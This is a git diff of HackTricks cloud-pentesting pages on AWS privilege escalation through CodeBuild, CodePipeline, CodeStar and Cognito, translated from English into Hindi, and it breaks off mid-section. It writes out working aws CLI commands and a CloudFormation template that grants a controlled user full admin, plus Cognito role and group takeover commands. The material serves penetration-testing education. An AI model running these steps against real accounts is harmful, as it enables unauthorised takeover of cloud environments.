[here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +अधिक विवरण [यहाँ](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकते हैं। -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेलेज वृद्धि। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 0662ae9e2..853c512e4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -4,7 +4,7 @@ ## codepipeline -For more info about codepipeline check: +कोडपाइपलाइन के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,13 +12,13 @@ For more info about codepipeline check: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them. +कोड पाइपलाइन बनाते समय आप एक **कोडपाइपलाइन IAM भूमिका को चलाने के लिए संकेत कर सकते हैं**, इसलिए आप उन्हें समझौता कर सकते हैं। -Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...) +पिछले अनुमतियों के अलावा, आपको **उस स्थान तक पहुंच की आवश्यकता होगी जहां कोड संग्रहीत है** (S3, ECR, github, bitbucket...) -I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +मैंने यह प्रक्रिया वेब पृष्ठ पर करते हुए परीक्षण किया, पहले बताए गए अनुमतियाँ कोडपाइपलाइन बनाने के लिए आवश्यक लिस्ट/गेट नहीं हैं, लेकिन इसे वेब पर बनाने के लिए आपको भी आवश्यकता होगी: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise: +**बिल्ड प्रोजेक्ट के निर्माण के दौरान** आप एक **कमांड को चलाने के लिए संकेत कर सकते हैं** (रिव शेल?) और बिल्ड चरण को **विशिष्ट उपयोगकर्ता** के रूप में चलाने के लिए, यही वह कॉन्फ़िगरेशन है जिसकी हमलावर को समझौता करने की आवश्यकता है: ![](<../../../images/image (276).png>) @@ -26,16 +26,12 @@ During the **creation of the build project** you can indicate a **command to run ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions. +पिछले अनुमतियों के साथ कोडपाइपलाइन पर उपयोग की जाने वाली भूमिका और निष्पादित कमांड को संशोधित करना संभव हो सकता है। ### `codepipeline:pollforjobs` -[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): +[AWS उल्लेख करता है](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**. +> जब इस API को कॉल किया जाता है, तो CodePipeline **पाइपलाइन के लिए कलाकृतियों को संग्रहीत करने के लिए उपयोग किए जाने वाले S3 बकेट के लिए अस्थायी क्रेडेंशियल लौटाता है**, यदि क्रिया को इनपुट या आउटपुट कलाकृतियों के लिए उस S3 बकेट तक पहुंच की आवश्यकता होती है। यह API भी **क्रिया के लिए परिभाषित किसी भी गुप्त मानों को लौटाता है**। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 387c6ffff..0192c7b7a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -4,7 +4,7 @@ ## Codestar -You can find more information about codestar in: +आप codestar के बारे में अधिक जानकारी यहाँ पा सकते हैं: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page: +इन अनुमतियों के साथ आप **एक codestar IAM भूमिका का दुरुपयोग** कर सकते हैं ताकि **मनमाने कार्य** को **cloudformation टेम्पलेट** के माध्यम से किया जा सके। निम्नलिखित पृष्ठ की जांच करें: {{#ref}} iam-passrole-codestar-createproject.md @@ -20,14 +20,13 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**. - +यह तकनीक `codestar:CreateProject` का उपयोग करके एक codestar प्रोजेक्ट बनाने के लिए है, और `codestar:AssociateTeamMember` का उपयोग करके एक IAM उपयोगकर्ता को एक नए CodeStar **प्रोजेक्ट** का **स्वामी** बनाने के लिए है, जो उन्हें **कुछ अतिरिक्त अनुमतियों के साथ एक नई नीति** प्रदान करेगा। ```bash PROJECT_NAME="supercodestar" aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME +--name $PROJECT_NAME \ +--id $PROJECT_NAME echo "Waiting 1min to start the project" sleep 60 @@ -35,15 +34,14 @@ sleep 60 USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"') aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ - --project-id $PROJECT_NAME \ - --user-arn "$USER_ARN" \ - --project-role "Owner" \ - --remote-access-allowed +--project-id $PROJECT_NAME \ +--user-arn "$USER_ARN" \ +--project-role "Owner" \ +--remote-access-allowed ``` +यदि आप पहले से ही **प्रोजेक्ट के सदस्य** हैं, तो आप **`codestar:UpdateTeamMember`** अनुमति का उपयोग करके **अपना रोल** मालिक में अपडेट कर सकते हैं, बजाय `codestar:AssociateTeamMember` के। -If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember` - -**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in: +**संभावित प्रभाव:** codestar नीति में प्रिवेस्क। आप उस नीति का एक उदाहरण यहाँ पा सकते हैं: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -51,27 +49,23 @@ codestar-createproject-codestar-associateteammember.md ### `codestar:CreateProjectFromTemplate` -1. **Create a New Project:** - - Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project. - - Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**. - - This access specifically targets a stack associated with the `CodeStarWorker--CloudFormation` IAM role. -2. **Update the Target Stack:** - - With the granted CloudFormation permissions, proceed to update the specified stack. - - The stack's name will typically conform to one of two patterns: - - `awscodestar--infrastructure` - - `awscodestar--lambda` - - The exact name depends on the chosen template (referencing the example exploit script). -3. **Access and Permissions:** - - Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack. - - Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further. +1. **एक नया प्रोजेक्ट बनाएं:** +- एक नए प्रोजेक्ट के निर्माण की प्रक्रिया शुरू करने के लिए **`codestar:CreateProjectFromTemplate`** क्रिया का उपयोग करें। +- सफल निर्माण पर, **`cloudformation:UpdateStack`** के लिए स्वचालित रूप से पहुंच दी जाती है। +- यह पहुंच विशेष रूप से `CodeStarWorker--CloudFormation` IAM भूमिका से संबंधित एक स्टैक को लक्षित करती है। +2. **लक्षित स्टैक को अपडेट करें:** +- दी गई CloudFormation अनुमतियों के साथ, निर्दिष्ट स्टैक को अपडेट करने की प्रक्रिया शुरू करें। +- स्टैक का नाम आमतौर पर दो पैटर्न में से एक के अनुसार होगा: +- `awscodestar--infrastructure` +- `awscodestar--lambda` +- सटीक नाम चुने गए टेम्पलेट पर निर्भर करता है (उदाहरण शोषण स्क्रिप्ट का संदर्भ लें)। +3. **पहुँच और अनुमतियाँ:** +- अपडेट के बाद, आपको स्टैक से जुड़े **CloudFormation IAM भूमिका** के लिए निर्धारित क्षमताएँ प्राप्त होती हैं। +- नोट: यह स्वाभाविक रूप से पूर्ण व्यवस्थापक विशेषाधिकार प्रदान नहीं करता है। विशेषाधिकारों को और बढ़ाने के लिए वातावरण में अतिरिक्त गलत कॉन्फ़िगर किए गए संसाधनों की आवश्यकता हो सकती है। -For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +अधिक जानकारी के लिए मूल शोध देखें: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ +आप शोषण को यहाँ पा सकते हैं [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) -**Potential Impact:** Privesc to cloudformation IAM role. +**संभावित प्रभाव:** cloudformation IAM भूमिका में प्रिवेस्क। {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 0de95738e..5692a287b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,84 +2,78 @@ {{#include ../../../../banners/hacktricks-training.md}} -This is the created policy the user can privesc to (the project name was `supercodestar`): - +यह वह बनाई गई नीति है जिसे उपयोगकर्ता प्रिवेस्क कर सकता है (प्रोजेक्ट का नाम `supercodestar` था): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "1", - "Effect": "Allow", - "Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], - "Resource": [ - "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", - "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", - "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" - ] - }, - { - "Sid": "2", - "Effect": "Allow", - "Action": [ - "codestar:DescribeUserProfile", - "codestar:ListProjects", - "codestar:ListUserProfiles", - "codestar:VerifyServiceRole", - "cloud9:DescribeEnvironment*", - "cloud9:ValidateEnvironmentName", - "cloudwatch:DescribeAlarms", - "cloudwatch:GetMetricStatistics", - "cloudwatch:ListMetrics", - "codedeploy:BatchGet*", - "codedeploy:List*", - "codestar-connections:UseConnection", - "ec2:DescribeInstanceTypeOfferings", - "ec2:DescribeInternetGateways", - "ec2:DescribeNatGateways", - "ec2:DescribeRouteTables", - "ec2:DescribeSecurityGroups", - "ec2:DescribeSubnets", - "ec2:DescribeVpcs", - "events:ListRuleNamesByTarget", - "iam:GetAccountSummary", - "iam:GetUser", - "iam:ListAccountAliases", - "iam:ListRoles", - "iam:ListUsers", - "lambda:List*", - "sns:List*" - ], - "Resource": ["*"] - }, - { - "Sid": "3", - "Effect": "Allow", - "Action": [ - "codestar:*UserProfile", - "iam:GenerateCredentialReport", - "iam:GenerateServiceLastAccessedDetails", - "iam:CreateAccessKey", - "iam:UpdateAccessKey", - "iam:DeleteAccessKey", - "iam:UpdateSSHPublicKey", - "iam:UploadSSHPublicKey", - "iam:DeleteSSHPublicKey", - "iam:CreateServiceSpecificCredential", - "iam:UpdateServiceSpecificCredential", - "iam:DeleteServiceSpecificCredential", - "iam:ResetServiceSpecificCredential", - "iam:Get*", - "iam:List*" - ], - "Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "1", +"Effect": "Allow", +"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], +"Resource": [ +"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", +"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", +"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" +] +}, +{ +"Sid": "2", +"Effect": "Allow", +"Action": [ +"codestar:DescribeUserProfile", +"codestar:ListProjects", +"codestar:ListUserProfiles", +"codestar:VerifyServiceRole", +"cloud9:DescribeEnvironment*", +"cloud9:ValidateEnvironmentName", +"cloudwatch:DescribeAlarms", +"cloudwatch:GetMetricStatistics", +"cloudwatch:ListMetrics", +"codedeploy:BatchGet*", +"codedeploy:List*", +"codestar-connections:UseConnection", +"ec2:DescribeInstanceTypeOfferings", +"ec2:DescribeInternetGateways", +"ec2:DescribeNatGateways", +"ec2:DescribeRouteTables", +"ec2:DescribeSecurityGroups", +"ec2:DescribeSubnets", +"ec2:DescribeVpcs", +"events:ListRuleNamesByTarget", +"iam:GetAccountSummary", +"iam:GetUser", +"iam:ListAccountAliases", +"iam:ListRoles", +"iam:ListUsers", +"lambda:List*", +"sns:List*" +], +"Resource": ["*"] +}, +{ +"Sid": "3", +"Effect": "Allow", +"Action": [ +"codestar:*UserProfile", +"iam:GenerateCredentialReport", +"iam:GenerateServiceLastAccessedDetails", +"iam:CreateAccessKey", +"iam:UpdateAccessKey", +"iam:DeleteAccessKey", +"iam:UpdateSSHPublicKey", +"iam:UploadSSHPublicKey", +"iam:DeleteSSHPublicKey", +"iam:CreateServiceSpecificCredential", +"iam:UpdateServiceSpecificCredential", +"iam:DeleteServiceSpecificCredential", +"iam:ResetServiceSpecificCredential", +"iam:Get*", +"iam:List*" +], +"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] +} +] } ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 891d72df5..28747ff67 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,42 +2,39 @@ {{#include ../../../../banners/hacktricks-training.md}} -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. - -To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**: +इन अनुमतियों के साथ आप **एक codestar IAM भूमिका का दुरुपयोग** कर सकते हैं ताकि **मनमाने कार्य** को **cloudformation टेम्पलेट** के माध्यम से किया जा सके। +इसका लाभ उठाने के लिए, आपको एक **S3 बकेट बनानी होगी जो** हमले वाले खाते से **सुलभ हो**। एक फ़ाइल अपलोड करें जिसका नाम `toolchain.json` हो। इस फ़ाइल में **cloudformation टेम्पलेट का दुरुपयोग** होना चाहिए। निम्नलिखित का उपयोग किया जा सकता है ताकि एक प्रबंधित नीति को आपके नियंत्रण में एक उपयोगकर्ता पर सेट किया जा सके और **उसे व्यवस्थापक अनुमतियाँ दी जा सकें**: ```json:toolchain.json { - "Resources": { - "supercodestar": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "ManagedPolicyName": "CodeStar_supercodestar", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "*", - "Resource": "*" - } - ] - }, - "Users": [""] - } - } - } +"Resources": { +"supercodestar": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"ManagedPolicyName": "CodeStar_supercodestar", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +}, +"Users": [""] +} +} +} } ``` - Also **upload** this `empty zip` file to the **bucket**: {% file src="../../../../images/empty.zip" %} -Remember that the **bucket with both files must be accessible by the victim account**. - -With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project: +याद रखें कि **दोनों फ़ाइलों के साथ बकेट पीड़ित खाते द्वारा सुलभ होना चाहिए**। +दोनों चीजें अपलोड करने के बाद, आप अब **exploitation** करते हुए एक **codestar** प्रोजेक्ट बनाने की प्रक्रिया शुरू कर सकते हैं: ```bash PROJECT_NAME="supercodestar" @@ -45,19 +42,19 @@ PROJECT_NAME="supercodestar" ## In this JSON the bucket and key (path) to the empry.zip file is used SOURCE_CODE_PATH="/tmp/surce_code.json" SOURCE_CODE="[ - { - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"empty.zip\" - } - }, - \"destination\": { - \"codeCommit\": { - \"name\": \"$PROJECT_NAME\" - } - } - } +{ +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"empty.zip\" +} +}, +\"destination\": { +\"codeCommit\": { +\"name\": \"$PROJECT_NAME\" +} +} +} ]" printf "$SOURCE_CODE" > $SOURCE_CODE_PATH @@ -65,28 +62,23 @@ printf "$SOURCE_CODE" > $SOURCE_CODE_PATH ## In this JSON the bucket and key (path) to the toolchain.json file is used TOOLCHAIN_PATH="/tmp/tool_chain.json" TOOLCHAIN="{ - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"toolchain.json\" - } - }, - \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"toolchain.json\" +} +}, +\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" }" printf "$TOOLCHAIN" > $TOOLCHAIN_PATH # Create the codestar project that will use the cloudformation epxloit to privesc aws codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME \ - --source-code file://$SOURCE_CODE_PATH \ - --toolchain file://$TOOLCHAIN_PATH +--name $PROJECT_NAME \ +--id $PROJECT_NAME \ +--source-code file://$SOURCE_CODE_PATH \ +--toolchain file://$TOOLCHAIN_PATH ``` - -This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user. +यह एक्सप्लॉइट **इन विशेषाधिकारों के लिए Pacu एक्सप्लॉइट** पर आधारित है: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) इसमें आप एक भूमिका के लिए एक व्यवस्थापक प्रबंधित नीति बनाने का एक भिन्नता पा सकते हैं, उपयोगकर्ता के बजाय। {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index ddd0c1efd..bcc453db9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -4,28 +4,27 @@ ## Cognito -For more info about Cognito check: +Cognito के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Gathering credentials from Identity Pool +### पहचान पूल से क्रेडेंशियल इकट्ठा करना -As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously). +चूंकि Cognito **IAM भूमिका क्रेडेंशियल** दोनों **प्रमाणित** और **अप्रमाणित** **उपयोगकर्ताओं** को प्रदान कर सकता है, यदि आप किसी एप्लिकेशन का **पहचान पूल आईडी** ढूंढ लेते हैं (जो कि इसमें हार्डकोडेड होना चाहिए) तो आप नए क्रेडेंशियल प्राप्त कर सकते हैं और इसलिए प्रिवेस्क (एक AWS खाते के अंदर जहां आपके पास पहले से कोई क्रेडेंशियल नहीं हो सकता)। -For more information [**check this page**](../aws-unauthenticated-enum-access/#cognito). +अधिक जानकारी के लिए [**इस पृष्ठ को देखें**](../aws-unauthenticated-enum-access/#cognito). -**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users). +**संभावित प्रभाव:** अप्रमाणित उपयोगकर्ताओं से जुड़े सेवाओं की भूमिका पर सीधे प्रिवेस्क (और संभवतः प्रमाणित उपयोगकर्ताओं से जुड़े पर)। ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` -With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app. - +इस अनुमति के साथ आप **किसी भी cognito भूमिका** को cognito ऐप के प्रमाणित/अप्रमाणित उपयोगकर्ताओं को **प्रदान** कर सकते हैं। ```bash aws cognito-identity set-identity-pool-roles \ - --identity-pool-id \ - --roles unauthenticated= +--identity-pool-id \ +--roles unauthenticated= # Get credentials ## Get one ID @@ -33,286 +32,243 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` +यदि cognito ऐप **अनधिकृत उपयोगकर्ताओं को सक्षम नहीं करता है** तो आपको इसे सक्षम करने के लिए `cognito-identity:UpdateIdentityPool` अनुमति की भी आवश्यकता हो सकती है। -If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it. - -**Potential Impact:** Direct privesc to any cognito role. +**संभावित प्रभाव:** किसी भी cognito भूमिका के लिए सीधे privesc। ### `cognito-identity:update-identity-pool` -An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**. - +इस अनुमति के साथ एक हमलावर उदाहरण के लिए एक Cognito उपयोगकर्ता पूल को अपने नियंत्रण में सेट कर सकता है या किसी अन्य पहचान प्रदाता को जहां वह **इस Cognito पहचान पूल तक पहुँचने के लिए लॉगिन कर सकता है**। फिर, बस उस उपयोगकर्ता प्रदाता पर **लॉगिन** करने से **उसे पहचान पूल में कॉन्फ़िगर की गई प्रमाणित भूमिका तक पहुँचने की अनुमति मिलेगी**। ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ - --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false # Now you need to login to the User Pool you have configured ## after having the id token of the login continue with the following commands: # In this step you should have already an ID Token aws cognito-identity get-id \ - --identity-pool-id \ - --logins cognito-idp..amazonaws.com/= +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= # Get the identity_id from thr previous commnad response aws cognito-identity get-credentials-for-identity \ - --identity-id \ - --logins cognito-idp..amazonaws.com/= +--identity-id \ +--logins cognito-idp..amazonaws.com/= ``` - -It's also possible to **abuse this permission to allow basic auth**: - +यह अनुमति का **दुरुपयोग करके मूल प्रमाणीकरण की अनुमति देना** भी संभव है: ```bash aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - --allow-unauthenticated-identities - --allow-classic-flow +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow ``` - -**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool. +**संभावित प्रभाव**: पहचान पूल के भीतर कॉन्फ़िगर किए गए प्रमाणित IAM भूमिका का समझौता। ### `cognito-idp:AdminAddUserToGroup` -This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**: - +यह अनुमति **एक Cognito उपयोगकर्ता को एक Cognito समूह में जोड़ने** की अनुमति देती है, इसलिए एक हमलावर इस अनुमति का दुरुपयोग करके अपने नियंत्रण में एक उपयोगकर्ता को अन्य समूहों में जोड़ सकता है जिनके पास **बेहतर** विशेषताएँ या **विभिन्न IAM भूमिकाएँ** हैं: ```bash aws cognito-idp admin-add-user-to-group \ - --user-pool-id \ - --username \ - --group-name +--user-pool-id \ +--username \ +--group-name ``` - -**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups. +**संभावित प्रभाव:** अन्य Cognito समूहों और उपयोगकर्ता पूल समूहों से जुड़े IAM भूमिकाओं के लिए प्रिवेस्क। ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles: - +इन अनुमतियों के साथ एक हमलावर **समूहों को बना/अपडेट** कर सकता है **हर IAM भूमिका के साथ जिसे एक समझौता किए गए Cognito पहचान प्रदाता द्वारा उपयोग किया जा सकता है** और एक समझौता किए गए उपयोगकर्ता को समूह का हिस्सा बना सकता है, उन सभी भूमिकाओं तक पहुंच प्राप्त कर सकता है: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` - -**Potential Impact:** Privesc to other Cognito IAM roles. +**संभावित प्रभाव:** अन्य Cognito IAM भूमिकाओं के लिए प्रिवेस्क। ### `cognito-idp:AdminConfirmSignUp` -This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission. - +यह अनुमति **साइनअप की पुष्टि** करने की अनुमति देती है। डिफ़ॉल्ट रूप से कोई भी Cognito अनुप्रयोगों में साइन इन कर सकता है, यदि इसे छोड़ दिया जाए, तो एक उपयोगकर्ता किसी भी डेटा के साथ एक खाता बना सकता है और इस अनुमति के साथ इसकी पुष्टि कर सकता है। ```bash aws cognito-idp admin-confirm-sign-up \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account. +**संभावित प्रभाव:** यदि आप एक नया उपयोगकर्ता पंजीकृत कर सकते हैं तो प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका के लिए अप्रत्यक्ष प्रिवेस्क। किसी भी खाते की पुष्टि करने में सक्षम होने पर अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क। ### `cognito-idp:AdminCreateUser` -This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password. - +यह अनुमति एक हमलावर को उपयोगकर्ता पूल के भीतर एक नया उपयोगकर्ता बनाने की अनुमति देगी। नया उपयोगकर्ता सक्षम के रूप में बनाया जाता है, लेकिन इसे अपना पासवर्ड बदलने की आवश्यकता होगी। ```bash aws cognito-idp admin-create-user \ - --user-pool-id \ - --username \ - [--user-attributes ] ([Name=email,Value=email@gmail.com]) - [--validation-data ] - [--temporary-password ] +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] ``` - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user +**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने में सक्षम होने के कारण अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क। ### 